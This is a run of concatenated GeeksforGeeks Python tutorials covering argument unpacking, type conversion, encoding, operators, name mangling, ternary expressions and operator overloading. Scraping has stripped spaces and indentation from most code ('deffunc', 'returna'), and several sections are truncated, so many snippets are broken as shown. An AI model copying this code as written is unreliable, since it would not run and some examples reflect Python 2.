We need to keep in mind that the no. of arguments must be the same as the length of the list that we are unpacking for the arguments.
Python3
# Error when len(args) != no of actual arguments
# required by the function
args =[0, 1, 4, 9]
deffunc(a, b, c):
returna +b +c
# calling function with unpacking args
func(*args)
Output:
Traceback (most recent call last):
File "/home/592a8d2a568a0c12061950aa99d6dec3.py", line 10, in <module>
func(*args)
TypeError: func() takes 3 positional arguments but 4 were given
As another example, consider the built-in range() function that expects separate start and stops arguments. If they are not available separately, write the function call with the *-operator to unpack the arguments out of a list or tuple:
Python3
>>>
>>> range(3, 6) # normal call with separate arguments
[3, 4, 5]
>>> args =[3, 6]
>>> range(*args) # call with arguments unpacked from a list
[3, 4, 5]
Packing When we don’t know how many arguments need to be passed to a python function, we can use Packing to pack all arguments in a tuple.
Python3
# A Python program to demonstrate use
# of packing
# This function uses packing to sum
# unknown number of arguments
defmySum(*args):
returnsum(args)
# Driver code
print(mySum(1, 2, 3, 4, 5))
print(mySum(10, 20))
Output:
15
30
The above function mySum() does ‘packing’ to pack all the arguments that this method call receives into one single variable. Once we have this ‘packed’ variable, we can do things with it that we would with a normal tuple. args[0] and args[1] would give you the first and second argument, respectively. Since our tuples are immutable, you can convert the args tuple to a list so you can also modify, delete, and re-arrange items in i.
Packing and Unpacking Below is an example that shows both packing and unpacking.
Python3
# A Python program to demonstrate both packing and
# unpacking.
# A sample python function that takes three arguments
# and prints them
deffun1(a, b, c):
print(a, b, c)
# Another sample function.
# This is an example of PACKING. All arguments passed
# to fun2 are packed into tuple *args.
deffun2(*args):
# Convert args tuple to a list so we can modify it
args =list(args)
# Modifying args
args[0] ='Geeksforgeeks'
args[1] ='awesome'
# UNPACKING args and calling fun1()
fun1(*args)
# Driver code
fun2('Hello', 'beautiful', 'world!')
Output:
(Geeksforgeeks, awesome, world!)
** is used for dictionaries
Python3
# A sample program to demonstrate unpacking of
# dictionary items using **
deffun(a, b, c):
print(a, b, c)
# A call with unpacking of dictionary
d ={'a':2, 'b':4, 'c':10}
fun(**d)
Output:
2 4 10
Here ** unpacked the dictionary used with it, and passed the items in the dictionary as keyword arguments to the function. So writing “fun(1, **d)” was equivalent to writing “fun(1, b=4, c=10)”.
Python3
# A Python program to demonstrate packing of
# dictionary items using **
deffun(**kwargs):
# kwargs is a dict
print(type(kwargs))
# Printing dictionary items
forkey inkwargs:
print("%s = %s"%(key, kwargs[key]))
# Driver code
fun(name="geeks", ID="101", language="Python")
Output
<class 'dict'>
name = geeks
ID = 101
language = Python
Applications and Important Points
Used in socket programming to send a vast number of requests to a server.
Used in the Django framework to send variable arguments to view functions.
There are wrapper functions that require us to pass in variable arguments.
Modification of arguments becomes easy, but at the same time validation is not proper, so they must be used with care.
Reference : http://hangar.runway7.net/python/packing-unpacking-arguments This article is contributed by Shwetanshu Rohatgi. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
Python defines type conversion functions to directly convert one data type to another which is useful in day-to-day and competitive programming. This article is aimed at providing information about certain conversion functions.
There are two types of Type Conversion in Python:
Implicit Type Conversion
Explicit Type Conversion
Let’s discuss them in detail.
Implicit Type Conversion
In Implicit type conversion of data types in Python, the Python interpreter automatically converts one data type to another without any user involvement. To get a more clear view of the topic see the below examples.
Example:
Python3
x =10
print("x is of type:",type(x))
y =10.6
print("y is of type:",type(y))
x =x +y
print(x)
print("x is of type:",type(x))
Output:
x is of type: <class 'int'>
y is of type: <class 'float'>
20.6
x is of type: <class 'float'>
As we can see the type of ‘x’ got automatically changed to the “float” type from the “integer” type. this is a simple case of Implicit type conversion in python.
Explicit Type Conversion
In Explicit Type Conversion in Python, the data type is manually changed by the user as per their requirement. Various forms of explicit type conversion are explained below:
1. int(a,base): This function converts any data type to integer. ‘Base’ specifies the base in which string is if the data type is a string. 2. float(): This function is used to convert any data type to a floating-point number
Python3
# Python code to demonstrate Type conversion
# using int(), float()
# initializing string
s ="10010"
# printing string converting to int base 2
c =int(s,2)
print("After converting to integer base 2 : ", end="")
print(c)
# printing string converting to float
e =float(s)
print("After converting to float : ", end="")
print(e)
Output:
After converting to integer base 2 : 18
After converting to float : 10010.0
3. ord() : This function is used to convert a character to integer. 4. hex() : This function is to convert integer to hexadecimal string. 5. oct() : This function is to convert integer to octal string.
Python3
# Python code to demonstrate Type conversion
# using ord(), hex(), oct()
# initializing integer
s ='4'
# printing character converting to integer
c =ord(s)
print("After converting character to integer : ",end="")
print(c)
# printing integer converting to hexadecimal string
c =hex(56)
print("After converting 56 to hexadecimal string : ",end="")
print(c)
# printing integer converting to octal string
c =oct(56)
print("After converting 56 to octal string : ",end="")
print(c)
Output:
After converting character to integer : 52
After converting 56 to hexadecimal string : 0x38
After converting 56 to octal string : 0o70
6. tuple() : This function is used to convert to a tuple. 7. set() : This function returns the type after converting to set. 8. list() : This function is used to convert any data type to a list type.
Python3
# Python code to demonstrate Type conversion
# using tuple(), set(), list()
# initializing string
s ='geeks'
# printing string converting to tuple
c =tuple(s)
print("After converting string to tuple : ",end="")
print(c)
# printing string converting to set
c =set(s)
print("After converting string to set : ",end="")
print(c)
# printing string converting to list
c =list(s)
print("After converting string to list : ",end="")
print(c)
Output:
After converting string to tuple : ('g', 'e', 'e', 'k', 's')
After converting string to set : {'k', 'e', 's', 'g'}
After converting string to list : ['g', 'e', 'e', 'k', 's']
9. dict() : This function is used to convert a tuple of order (key,value) into a dictionary. 10. str() : Used to convert integer into a string. 11. complex(real,imag) : This function converts real numbers to complex(real,imag) number.
Python3
# Python code to demonstrate Type conversion
# using dict(), complex(), str()
# initializing integers
a =1
b =2
# initializing tuple
tup =(('a', 1) ,('f', 2), ('g', 3))
# printing integer converting to complex number
c =complex(1,2)
print("After converting integer to complex number : ",end="")
print(c)
# printing integer converting to string
c =str(a)
print("After converting integer to string : ",end="")
print(c)
# printing tuple converting to expression dictionary
c =dict(tup)
print("After converting tuple to dictionary : ",end="")
print(c)
Output:
After converting integer to complex number : (1+2j)
After converting integer to string : 1
After converting tuple to dictionary : {'a': 1, 'f': 2, 'g': 3}
12. chr(number): This function converts number to its corresponding ASCII character.
In Python 2, both str and bytes are the same typeByte objects whereas in Python 3 Byte objects, defined in Python 3 are “sequence of bytes” and similar to “unicode” objects from Python 2. However, there are many differences in strings and Byte objects. Some of them are depicted below: `
Byte objects are sequence of Bytes, whereas Strings are sequence of characters.
Byte objects are in machine readable form internally, Strings are only in human readable form.
Since Byte objects are machine readable, they can be directly stored on the disk. Whereas, Strings need encoding before which they can be stored on disk.
There are methods to convert a byte object to String and String to byte objects.
Encoding
PNG, JPEG, MP3, WAV, ASCII, UTF-8 etc are different forms of encodings. An encoding is a format to represent audio, images, text, etc in bytes. Converting Strings to byte objects is termed as encoding. This is necessary so that the text can be stored on disk using mapping using ASCII or UTF-8 encoding techniques. This task is achieved using encode(). It take encoding technique as argument. Default technique is “UTF-8” technique.
Python3
# Python code to demonstrate String encoding
# initialising a String
a ='GeeksforGeeks'
# initialising a byte object
c =b'GeeksforGeeks'
# using encode() to encode the String
# encoded version of a is stored in d
# using ASCII mapping
d =a.encode('ASCII')
# checking if a is converted to bytes or not
if(d==c):
print("Encoding successful")
else: print("Encoding Unsuccessful")
Output:
Encoding successful
Decoding
Similarly, Decoding is process to convert a Byte object to String. It is implemented using decode() . A byte string can be decoded back into a character string, if you know which encoding was used to encode it. Encoding and Decoding are inverse processes.
Python3
# Python code to demonstrate Byte Decoding
# initialising a String
a ='GeeksforGeeks'
# initialising a byte object
c =b'GeeksforGeeks'
# using decode() to decode the Byte object
# decoded version of c is stored in d
# using ASCII mapping
d =c.decode('ASCII')
# checking if c is converted to String or not
if(d==a):
print("Decoding successful")
else: print("Decoding Unsuccessful")
Output:
Decoding successful
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
In Python 3.X, the print statement is written asa print() function. Below is code in Python 3.X that shows the process of printing values in Python.
Example 1: Printing Single value
Python3
# Equivalent codes in Python 3.0
# (Produces same output)
# Code 1:
print(1)
# Code 2 :
print((1))
Output:
1
1
Example 2: Printing multiple values
Python3
# Code 1:
print(1, 2)
# Code 2:
print((1, 2))
# Code 3:
# printing on the same line
# for printing on the same line use
# end parameters of the print function
# end takes the values which is printing
# at the end of the output.
print(1, end=" ")
print(2)
Output:
1 2
(1, 2)
1 2
This article is contributed by Arpit Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
We have discussed different approaches to swap two integers without the temporary variable. How to swap into a single line without using the library function? 1) Python: In Python, there is a simple and syntactically neat construct to swap variables, we just need to write “x, y = y, x”. 2) C/C++: Below is one generally provided classical solution:
// Swap using bitwise XOR (Wrong Solution in C/C++)
x ^= y ^= x ^= y;
The above solution is wrong in C/C++ as it causes undefined behavior (the compiler is free to behave in any way). The reason is, modifying a variable more than once in an expression causes undefined behavior if there is no sequence point between the modifications. However, we can use a comma to introduce sequence points. So the modified solution is
// Swap using bitwise XOR (Correct Solution in C/C++)
// sequence point introduced using comma.
(x ^= y), (y ^= x), (x ^= y);
3) Java: In Java, rules for subexpression evaluations are clearly defined. The left-hand operand is always evaluated before the right-hand operand. In Java, the expression “x ^= y ^= x ^= y;” doesn’t produce the correct result according to Java rules. It makes x = 0. However, we can use “x = x ^ y ^ (y = x);” Note the expressions are evaluated from left to right. If x = 5 and y = 10 initially, the expression is equivalent to “x = 5 ^ 10 ^ (y = 5);”. Note that we can’t use this in C/C++ as in C/C++, it is not defined whether the left operand or right operand is executed by any operator (See this for more details).
4) JavaScript: Using destructing assignment, we can simply achieve swapping using this one line.
[x,y]=[y,x]
C
// C program to swap two variables in single line
#include <stdio.h>
intmain()
{
intx = 5, y = 10;
(x ^= y), (y ^= x), (x ^= y);
printf("After Swapping values of x and y are %d %d", x,
y);
return0;
}
C++
// C++ code to swap using XOR
#include <bits/stdc++.h>
usingnamespacestd;
intmain()
{
intx = 5, y = 10;
// Code to swap 'x' and 'y'
// to swap two numbers in one
// line
x = x ^ y, y = x ^ y, x = x ^ y;
// printing the swapped variables
cout << "After Swapping: x = "
<< x << ", y= "<< y;
return0;
}
Java
// Java program to swap two variables in a single line
classGFG {
publicstaticvoidmain(String[] args)
{
intx = 5, y = 10;
x = x ^ y ^ (y = x);
System.out.println(
"After Swapping values"
+" of x and y are "+ x
+ " "+ y);
}
}
Python3
# Python program to swap two variables in a single line
x =5
y =10
x, y =y, x
print("After Swapping values of x and y are", x, y)
C#
// C# program to swap two
// variables in single line
usingSystem;
classGFG {
staticpublicvoidMain()
{
intx = 5, y = 10;
x = x ^ y ^ (y = x);
Console.WriteLine("After Swapping values "
+ "of x and y are "+ x + " "
+ y);
}
}
// This code is contributed by aj_36
PHP
<?php
// PHP program to swap two
// variables in single line
// Driver Code
$x= 5;
$y= 10;
($x^= $y);
($y^= $x);
($x^= $y);
echo"After Swapping values of x and y are "
,$x," ", $y;
// This code is contributed by Vishal Tripathi
?>
Javascript
<script>
// javascript program to swap two variables in single line
let x = 5, y = 10;
(x ^= y), (y ^= x), (x ^= y);
document.write("After Swapping values of x and y are ", x + " ",
y);
// This code is contributed by Surbhi Tyagi
</script>
Output
After Swapping values of x and y are 10 5
Alternate Solutions:
Using swap(): C++ library function
b = (a + b) – (a = b);
a += b – (b = a);
a = a * b / (b = a)
a = a ^ b ^ (b = a)
This article is contributed by Harshit Gupta. If you like GeeksforGeeks and would like to contribute, you can also write an article on write.geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
Prerequisite: Underscore in Python In Python, there is no existence of “Private” instance variables that cannot be accessed except inside an object. However, a convention is being followed by most Python code and coders i.e., a name prefixed with an underscore, For e.g. _geek should be treated as a non-public part of the API or any Python code, whether it is a function, a method, or a data member. While going through this we would also try to understand the concept of various forms of trailing underscores, for e.g., for _ in range(10), __init__(self).
Mangling and how it works
In Python, there is something called name mangling, which means that there is limited support for a valid use-case for class-private members basically to avoid name clashes of names with names defined by subclasses. Any identifier of the form __geek (at least two leading underscores or at most one trailing underscore) is replaced with _classname__geek, where classname is the current class name with a leading underscore(s) stripped. As long as it occurs within the definition of the class, this mangling is done. This is helpful for letting subclasses override methods without breaking intraclass method calls. Let’s look at this example and try to find out how this underscore works:
Python
# Python code to illustrate how mangling works
classMap:
def__init__(self, iterate):
self.list=[]
self.__geek(iterate)
defgeek(self, iterate):
foritem initerate:
self.list.append(item)
# private copy of original geek() method
__geek =geek
classMapSubclass(Map):
# provides new signature for geek() but
# does not break __init__()
defgeek(self, key, value):
fori inzip(keys, value):
self.list.append(i)
The mangling rules are designed mostly to avoid accidents but it is still possible to access or modify a variable that is considered private. This can even be useful in special circumstances, such as in the debugger.
_Single Leading Underscores
So basically one underline at the beginning of a method, function, or data member means you shouldn’t access this method because it’s not part of the API. Let’s look at this snippet of code:
Python
# Python code to illustrate
# how single underscore works
def_get_errors(self):
ifself._errors isNone:
self.full_clean()
returnself._errors
errors =property(_get_errors)
The snippet is taken from the Django source code (django/forms/forms.py). This suggests that errors are property, and it’s also a part of the API, but the method, _get_errors, is “private”, so one shouldn’t access it.
__Double Leading Underscores
Two underlines, in the beginning, cause a lot of confusion. This is about syntax rather than a convention. double underscore will mangle the attribute names of a class to avoid conflicts of attribute names between classes. For example:
Python
# Python code to illustrate how double
# underscore at the beginning works
classGeek:
def_single_method(self):
pass
def__double_method(self): # for mangling
pass
classPyth(Geek):
def__double_method(self): # for mangling
pass
__Double leading and Double trailing underscores__
There’s another case of double leading and trailing underscores. We follow this while using special variables or methods (called “magic method”) such as__len__, __init__. These methods provide special syntactic features to the names. For example, __file__ indicates the location of the Python file, __eq__ is executed when a == b expression is executed.
Example:
Python
# Python code to illustrate double leading and
# double trailing underscore works
classGeek:
# '__init__' for initializing, this is a
# special method
def__init__(self, ab):
self.ab =ab
# custom special method. try not to use it
def__custom__(self):
pass
This article is contributed by Chinmoy Lenka. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. I have referred Python Docs, hackernoon.com and igorsobreira.com Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Since there is no main() function in Python, when the command to run a python program is given to the interpreter, the code that is at level 0 indentation is to be executed. However, before doing that, it will define a few special variables. __name__ is one such special variable. If the source file is executed as the main program, the interpreter sets the __name__ variable to have a value “__main__”. If this file is being imported from another module, __name__ will be set to the module’s name. __name__ is a built-in variable which evaluates to the name of the current module. Thus it can be used to check whether the current script is being run on its own or being imported somewhere else by combining it with if statement, as shown below.
Consider two separate files File1 and File2.
# File1.py
print("File1 __name__ = %s"%__name__)
if__name__ =="__main__":
print("File1 is being run directly")
else:
print("File1 is being imported")
# File2.py
importFile1
print("File2 __name__ = %s"%__name__)
if__name__ =="__main__":
print("File2 is being run directly")
else:
print("File2 is being imported")
Now the interpreter is given the command to run File1.py.
python File1.py
Output :
File1 __name__ = __main__
File1 is being run directly
And then File2.py is run.
python File2.py
Output :
File1 __name__ = File1
File1 is being imported
File2 __name__ = __main__
File2 is being run directly
As seen above, when File1.py is run directly, the interpreter sets the __name__ variable as __main__ and when it is run through File2.py by importing, the __name__ variable is set as the name of the python script, i.e. File1. Thus, it can be said that if __name__ == “__main__” is the part of the program that runs when the script is run from the command line using a command like python File1.py.
This article is contributed by Harshit Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python Operators in general are used to perform operations on values and variables. These are standard symbols used for the purpose of logical and arithmetic operations. In this article, we will look into different types of Python operators.
Arithmetic Operators
Arithmetic operators are used to performing mathematical operations like addition, subtraction, multiplication, and division.
Operator
Description
Syntax
+
Addition: adds two operands
x + y
–
Subtraction: subtracts two operands
x – y
*
Multiplication: multiplies two operands
x * y
/
Division (float): divides the first operand by the second
x / y
//
Division (floor): divides the first operand by the second
x // y
%
Modulus: returns the remainder when the first operand is divided by the second
Assign value of right side of expression to left side operand
x = y + z
+=
Add AND: Add right-side operand with left side operand and then assign to left operand
a+=b a=a+b
-=
Subtract AND: Subtract right operand from left operand and then assign to left operand
a-=b a=a-b
*=
Multiply AND: Multiply right operand with left operand and then assign to left operand
a*=b a=a*b
/=
Divide AND: Divide left operand with right operand and then assign to left operand
a/=b a=a/b
%=
Modulus AND: Takes modulus using left and right operands and assign the result to left operand
a%=b a=a%b
//=
Divide(floor) AND: Divide left operand with right operand and then assign the value(floor) to left operand
a//=b a=a//b
**=
Exponent AND: Calculate exponent(raise power) value using operands and assign value to left operand
a**=b a=a**b
&=
Performs Bitwise AND on operands and assign value to left operand
a&=b a=a&b
|=
Performs Bitwise OR on operands and assign value to left operand
a|=b a=a|b
^=
Performs Bitwise xOR on operands and assign value to left operand
a^=b a=a^b
>>=
Performs Bitwise right shift on operands and assign value to left operand
a>>=b a=a>>b
<<=
Performs Bitwise left shift on operands and assign value to left operand
a <<= b a= a << b
Example: Assignment Operators in Python
Python3
# Examples of Assignment Operators
a =10
# Assign value
b =a
print(b)
# Add and assign value
b +=a
print(b)
# Subtract and assign value
b -=a
print(b)
# multiply and assign
b *=a
print(b)
# bitwise lishift operator
b <<=a
print(b)
Output
10
20
10
100
102400
Identity Operators
is and is not are the identity operators both are used to check if two values are located on the same part of the memory. Two variables that are equal do not imply that they are identical.
is True if the operands are identical
is not True if the operands are not identical
Example: Identity Operator
Python3
a =10
b =20
c =a
print(a isnotb)
print(a isc)
Output
True
True
Membership Operators
in and not in are the membership operators; used to test whether a value or variable is in a sequence.
in True if value is found in the sequence
not in True if value is not found in the sequence
Example: Membership Operator
Python3
# Python program to illustrate
# not 'in' operator
x =24
y =20
list=[10, 20, 30, 40, 50]
if(x notinlist):
print("x is NOT present in given list")
else:
print("x is present in given list")
if(y inlist):
print("y is present in given list")
else:
print("y is NOT present in given list")
Output
x is NOT present in given list
y is present in given list
This is used in an expression with more than one operator with different precedence to determine which operation to perform first.
Example: Operator Precedence
Python3
# Examples of Operator Precedence
# Precedence of '+' & '*'
expr =10+20*30
print(expr)
# Precedence of 'or' & 'and'
name ="Alex"
age =0
ifname =="Alex"orname =="John"andage >=2:
print("Hello! Welcome.")
else:
print("Good Bye!!")
Output
610
Hello! Welcome.
Operator Associativity
If an expression contains two or more operators with the same precedence then Operator Associativity is used to determine. It can either be Left to Right or from Right to Left.
Most of the languages including C, C++, Java and Python provide the boolean type that can be either set to False or True. Consider below programs that use Logical Not (or !) operator on boolean.
C++
// A C++ program that uses Logical Not or ! on boolean
#include <iostream>
usingnamespacestd;
intmain()
{
// we are making variable store bool expression of false
// and true, it can be also written as (1) for 'true' and
// (0) for 'false'
boolis_it_true = false;
boolis_it_false = true;
// This code below print first false (0) and then true
// (1) cause of we have used 'not' (!) operator in second
// case
cout << is_it_true << endl;
cout << !is_it_true << endl;
// This code below print first true (1) and then false
// (0) cause of we have used 'not' (!) operator in second
// case
cout << is_it_false << endl;
cout << !is_it_false << endl;
return0;
}
Python
# A Python program that uses Logical Not or ! on boolean
a =notTrue
b =notFalse
printa
printb
# Output: False
# True
C#
// C# program that uses Logical
// Not or ! on boolean
usingSystem;
classGFG
{
publicstaticvoidMain ()
{
boola = true, b = false;
Console.WriteLine(!a);
Console.WriteLine(!b);
}
}
// Output: False
// True
// This code is contributed
// by Rajput-Ji
Javascript
<script>
// A javascript program that uses Logical Not or ! on boolean
vara = true, b = false;
document.write(!a+"<br/>");
document.write(!b);
// Output: False
// True
// This code contributed by gauravrajput1
</script>
Output
0
1
1
0
The outputs of above programs are as expected, but the outputs following programs may not be as expected if we have not used Bitwise Not (or ~) operator before.
Python
# A Python program that uses Bitwise Not or ~ on boolean
a =True
b =False
print~a
print~b
C/C++
// C/C++ program that uses Bitwise Not or ~ on boolean
#include <bits/stdc++.h>
using namespace std;
int main()
{
bool a = true, b = false;
cout << ~a << endl << ~b;
return 0;
}
Java
// A Java program that uses Bitwise Not or ~ on boolean
importjava.io.*;
classGFG
{
publicstaticvoidmain (String[] args)
{
booleana = true, b = false;
System.out.println(~a);
System.out.println(~b);
}
}
Output:
6: error: bad operand type boolean for unary operator '~'
System.out.println(~a);
^
7: error: bad operand type boolean for unary operator '~'
System.out.println(~b);
^
2 errors
Conclusion: “Logical not or !” is meant for boolean values and “bitwise not or ~” is for integers. Languages like C/C++ and python do auto promotion of boolean to integer type when an integer operator is applied. But Java doesn’t do it. This article is contributed by Arpit Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
Ternary operators are also known as conditional expressions are operators that evaluate something based on a condition being true or false. It was added to Python in version 2.5. It simply allows testing a condition in a single line replacing the multiline if-else making the code compact.
Syntax :
[on_true] if [expression] else [on_false]
Simple Method to use ternary operator:
Python
# Program to demonstrate conditional operator
a, b =10, 20
# Copy value of a in min if a < b else copy b
min=a ifa < b elseb
print(min)
Output:
10
Direct Method by using tuples, Dictionary, and lambda
Python
# Python program to demonstrate ternary operator
a, b =10, 20
# Use tuple for selecting an item
# (if_test_false,if_test_true)[test]
# if [a<b] is true it return 1, so element with 1 index will print
# else if [a<b] is false it return 0, so element with 0 index will print
print( (b, a) [a < b] )
# Use Dictionary for selecting an item
# if [a < b] is true then value of True key will print
# else if [a<b] is false then value of False key will print
print({True: a, False: b} [a < b])
# lambda is more efficient than above two methods
# because in lambda we are assure that
# only one expression will be evaluated unlike in
# tuple and Dictionary
print((lambda: b, lambda: a)[a < b]())
Output:
10
10
10
Ternary operator can be written as nested if-else:
Python
# Python program to demonstrate nested ternary operator
a, b =10, 20
print("Both a and b are equal"ifa ==b else"a is greater than b"
ifa > b else"b is greater than a")
The above approach can be written as:
Python
# Python program to demonstrate nested ternary operator
a, b =10, 20
ifa !=b:
ifa > b:
print("a is greater than b")
else:
print("b is greater than a")
else:
print("Both a and b are equal")
Output:
b is greater than a
To use print function in ternary operator be like:-
Example: Find the Larger number among 2 using ternary operator in python3
Python3
a=5
b=7
# [statement_on_True] if [condition] else [statement_on_false]
First the given condition is evaluated (a < b), then either a or b is returned based on the Boolean value returned by the condition
Order of the arguments in the operator is different from other languages like C/C++ (See C/C++ ternary operators).
Conditional expressions have the lowest priority amongst all Python operations.
Method used prior to 2.5 when the ternary operator was not present In an expression like the one given below, the interpreter checks for the expression if this is true then on_true is evaluated, else the on_false is evaluated.
Syntax :
'''When condition becomes true, expression [on_false]
is not executed and value of "True and [on_true]"
is returned. Else value of "False or [on_false]"
is returned.
Note that "True and x" is equal to x.
And "False or x" is equal to x. '''
[expression] and [on_true] or [on_false]
Example :
Python
# Program to demonstrate conditional operator
a, b =10, 20
# If a is less than b, then a is assigned
# else b is assigned (Note : it doesn't
# work if a is 0.
min=a < b anda orb
print(min)
Output:
10
Note : The only drawback of this method is that on_true must not be zero or False. If this happens on_false will be evaluated always. The reason for that is if the expression is true, the interpreter will check for the on_true, if that will be zero or false, that will force the interpreter to check for on_false to give the final result of the whole expression.
This article is contributed by Mayank Rawat and improved by Shubham Bansal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
The first output is fine, but the second one may be surprised if we are coming Java/C++ world. In Python, the “//” operator works as a floor division for integer and float arguments. However, the operator / returns a float value if one of the arguments is a float (this is similar to C++)
Note:
The “//” operator is used to return the closest integer value which is less than or equal to a specified expression or value. So from the above code, 5//2 returns 2. You know that 5/2 is 2.5, the closest integer which is less than or equal is 2[5//2].( it is inverse to the normal maths, in normal maths the value is 3).
Python3
# A Python program to demonstrate use of
# "/" for floating point numbers
print(5.0/2)
print(-5.0/2)
Output:
2.5
-2.5
The real floor division operator is “//”. It returns floor value for both integer and floating point arguments.
Operator Overloading means giving extended meaning beyond their predefined operational meaning. For example operator + is used to add two integers as well as join two strings and merge two lists. It is achievable because ‘+’ operator is overloaded by int class and str class. You might have noticed that the same built-in operator or function shows different behavior for objects of different classes, this is called Operator Overloading.
Python3
# Python program to show use of
# + operator for different purposes.
print(1+2)
# concatenate two strings
print("Geeks"+"For")
# Product two numbers
print(3*4)
# Repeat the String
print("Geeks"*4)
Output
3
GeeksFor
12
GeeksGeeksGeeksGeeks
Output:
3
GeeksFor
12
GeeksGeeksGeeksGeeks
How to overload the operators in Python? Consider that we have two objects which are a physical representation of a class (user-defined data type) and we have to add two objects with binary ‘+’ operator it throws an error, because compiler don’t know how to add two objects. So we define a method for an operator and that process is called operator overloading. We can overload all existing operators but we can’t create a new operator. To perform operator overloading, Python provides some special function or magic function that is automatically invoked when it is associated with that particular operator. For example, when we use + operator, the magic method __add__ is automatically invoked in which the operation for + operator is defined. Overloading binary + operator in Python : When we use an operator on user defined data types then automatically a special function or magic function associated with that operator is invoked. Changing the behavior of operator is as simple as changing the behavior of method or function. You define methods in your class and operators work according to that behavior defined in methods. When we use + operator, the magic method __add__ is automatically invoked in which the operation for + operator is defined. There by changing this magic method’s code, we can give extra meaning to the + operator. Code 1:
Python3
# Python Program illustrate how
# to overload an binary + operator
classA:
def__init__(self, a):
self.a =a
# adding two objects
def__add__(self, o):
returnself.a +o.a
ob1 =A(1)
ob2 =A(2)
ob3 =A("Geeks")
ob4 =A("For")
print(ob1 +ob2)
print(ob3 +ob4)
Output
3
GeeksFor
Output :
3
GeeksFor
Code 2:
Python3
# Python Program to perform addition
# of two complex numbers using binary
# + operator overloading.
classcomplex:
def__init__(self, a, b):
self.a =a
self.b =b
# adding two objects
def__add__(self, other):
returnself.a +other.a, self.b +other.b
Ob1 =complex(1, 2)
Ob2 =complex(2, 3)
Ob3 =Ob1 +Ob2
print(Ob3)
Output
(3, 5)
Output :
(3, 5)
Overloading comparison operators in Python :
Python3
# Python program to overload
# a comparison operators
classA:
def__init__(self, a):
self.a =a
def__gt__(self, other):
if(self.a>other.a):
returnTrue
else:
returnFalse
ob1 =A(2)
ob2 =A(3)
if(ob1>ob2):
print("ob1 is greater than ob2")
else:
print("ob2 is greater than ob1")
Output :
ob2 is greater than ob1
Overloading equality and less than operators :
Python3
# Python program to overload equality
# and less than operators
classA:
def__init__(self, a):
self.a =a
def__lt__(self, other):
if(self.a<other.a):
return"ob1 is lessthan ob2"
else:
return"ob2 is less than ob1"
def__eq__(self, other):
if(self.a ==other.a):
return"Both are equal"
else:
return"Not equal"
ob1 =A(2)
ob2 =A(3)
print(ob1 < ob2)
ob3 =A(4)
ob4 =A(4)
print(ob1 ==ob2)
Output :
ob1 is lessthan ob2
Not equal
Python magic methods or special functions for operator overloading
Note: It is not possible to change the number of operands of an operator. For ex. you cannot overload a unary operator as a binary operator. The following code will throw a syntax error.
Python3
# Python program which attempts to
# overload ~ operator as binary operator
classA:
def__init__(self, a):
self.a =a
# Overloading ~ operator, but with two operands
def__invert__(self, other):
return"This is the ~ operator, overloaded as binary operator."
Any and All are two built ins provided in python used for successive And/Or.
Any Returns true if any of the items is True. It returns False if empty or all are false. Any can be thought of as a sequence of OR operations on the provided iterables. It short circuit the execution i.e. stop the execution as soon as the result is known.
Syntax : any(list of iterables)
# Since all are false, false is returned
print(any([False, False, False, False]))
# Here the method will short-circuit at the
# second item (True) and will return True.
print(any([False, True, False, False]))
# Here the method will short-circuit at the
# first (True) and will return True.
print(any([True, False, False, False]))
Output :
False
True
True
All Returns true if all of the items are True (or if the iterable is empty). All can be thought of as a sequence of AND operations on the provided iterables. It also short circuit the execution i.e. stop the execution as soon as the result is known.
Syntax : all(list of iterables)
# Here all the iterables are True so all
# will return True and the same will be printed
print(all([True, True, True, True]))
# Here the method will short-circuit at the
# first item (False) and will return False.
print(all([False, True, True, False]))
# This statement will return False, as no
# True is found in the iterables
print(all([False, False, False]))
Output :
True
False
False
Practical Examples
# This code explains how can we
# use 'any' function on list
list1 =[]
list2 =[]
# Index ranges from 1 to 10 to multiply
fori inrange(1,11):
list1.append(4*i)
# Index to access the list2 is from 0 to 9
fori inrange(0,10):
list2.append(list1[i]%5==0)
print('See whether at least one number is divisible by 5 in list 1=>')
print(any(list2))
Output:
See whether at least one number is divisible by 5 in list 1=>
True
# Illustration of 'all' function in python 3
# Take two lists
list1=[]
list2=[]
# All numbers in list1 are in form: 4*i-3
fori inrange(1,21):
list1.append(4*i-3)
# list2 stores info of odd numbers in list1
fori inrange(0,20):
list2.append(list1[i]%2==1)
print('See whether all numbers in list1 are odd =>')
print(all(list2))
Output:
See whether all numbers in list1 are odd =>
True
Truth table :-
This article is contributed by Mayank Rawat .If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Inplace Operators – Set 1, Set 2 Normal operators do the simple assigning job. On other hand, Inplace operators behave similarly to normal operators except that they act in a different manner in case of mutable and Immutable targets.
